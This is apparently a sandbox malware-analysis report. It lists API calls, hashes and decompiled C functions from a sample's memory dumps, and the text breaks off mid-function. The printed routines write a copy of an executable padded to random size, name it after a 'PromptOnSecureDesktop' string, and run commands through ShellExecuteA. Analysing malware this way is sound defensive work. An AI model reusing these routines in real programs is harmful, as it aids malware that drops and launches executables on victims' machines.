SetFileAttributesA.KERNEL32(?,00000080,?,751443E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,751443E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,751443E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,751443E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,751443E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,751443E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,751443E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,751443E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,751443E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,751443E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,751443E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,751881D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B830, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B8AC
__heap_init.LIBCMTD ref: 0041B8B6

Part of subcall function 00429330: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B8BB,00000001), ref: 00429346

_fast_error_exit.LIBCMTD ref: 0041B8C4

Part of subcall function 0041BA10: ___crtExitProcess.LIBCMTD ref: 0041BA34

__mtinit.LIBCMTD ref: 0041B8CC
_fast_error_exit.LIBCMTD ref: 0041B8D7
__RTC_Initialize.LIBCMTD ref: 0041B8E9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B912
___wsetargv.LIBCMTD ref: 0041B91C
__wsetenvp.LIBCMTD ref: 0041B92F
__cinit.LIBCMTD ref: 0041B944
__wwincmdln.LIBCMTD ref: 0041B961

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: e5d3900dc6c5cd141a7e443d0c22a2885ec85bce0215858b4f1296caa6f114a2
Instruction ID: 5a884a4ba1cd8262be9a385aae3e9524aa34e6ce041cd54c52b25de297baf309
Opcode Fuzzy Hash: e5d3900dc6c5cd141a7e443d0c22a2885ec85bce0215858b4f1296caa6f114a2
Instruction Fuzzy Hash: C64194F1E403189BEB10BBF2EC027DE76A4EF5471CF10412EE505A7282E7795945CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8A5, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B8AC
__heap_init.LIBCMTD ref: 0041B8B6

Part of subcall function 00429330: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B8BB,00000001), ref: 00429346

_fast_error_exit.LIBCMTD ref: 0041B8C4

Part of subcall function 0041BA10: ___crtExitProcess.LIBCMTD ref: 0041BA34

__mtinit.LIBCMTD ref: 0041B8CC
_fast_error_exit.LIBCMTD ref: 0041B8D7
__RTC_Initialize.LIBCMTD ref: 0041B8E9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B912
___wsetargv.LIBCMTD ref: 0041B91C
__wsetenvp.LIBCMTD ref: 0041B92F
__cinit.LIBCMTD ref: 0041B944
__wwincmdln.LIBCMTD ref: 0041B961

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: db6e824e5a28bd6b47188eae6d0aa1ccf3761389de9dd3604d054876c8a7a852
Instruction ID: 40149ec41f4b7fedb0eb478a3fbd53db61d5997862b4246b7b07b817e3074282
Opcode Fuzzy Hash: db6e824e5a28bd6b47188eae6d0aa1ccf3761389de9dd3604d054876c8a7a852
Instruction Fuzzy Hash: 083197F1F413149AEB10BBF2B8027DE7260EF5431CF50016FE50556282E7795845CAAA

Uniqueness

Uniqueness Score: -1.00%

Function 006C003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006C024D

Strings

cess, xrefs: 006C018D
kernel32.dll, xrefs: 006C008F, 006C0095

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 65edf40a287a90c5f3e66935bb64e8329cc55d260c619c3b4c93ff5e93cb011f
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: B8525874A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB351DB30AE95DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,751881D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00426D80, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426E0B
__nh_malloc_dbg.LIBCMTD ref: 00426F37

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: db514cbbfdbf5bb7870c0ad404b2eace13e9c661a6ab11b6d701e1654d9f25c2
Instruction ID: 8a87168ae3a6a4259bcd3417de97d9e5824f74e080cdb09a91a0f5e274b92f17
Opcode Fuzzy Hash: db514cbbfdbf5bb7870c0ad404b2eace13e9c661a6ab11b6d701e1654d9f25c2
Instruction Fuzzy Hash: DFE13674E04258CFDB24CFA8D880BADBBB1BF49308F64825ED8256B392C7359846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD6A, Relevance: 4.6, APIs: 3, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0041BEF9
_memset.LIBCMT ref: 0041BF16
_memset.LIBCMT ref: 0041BF31

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: d6dba1a9761261ba2159835f95a076fd078b57d7b04b2329399e25bf4647bff4
Instruction ID: e2c3a58aed025cdfb704ea50c7fdf1140a9cc24c3811ce468c8f5db1f511c2f7
Opcode Fuzzy Hash: d6dba1a9761261ba2159835f95a076fd078b57d7b04b2329399e25bf4647bff4
Instruction Fuzzy Hash: 3B5119B9A002088FCB58CF54DA94BD9B7F1FB4D304F20815AE9156B391D739AD84CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB6F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 0041BB69

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 91e66f5d49c723cf3b7509319204700e73c52a2edc50854f05944b2a3fff4da1
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: E101FBB5609109EBDB14CF54DA80BDA73B4EB48304F10819AFC0587A44E338EA91DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
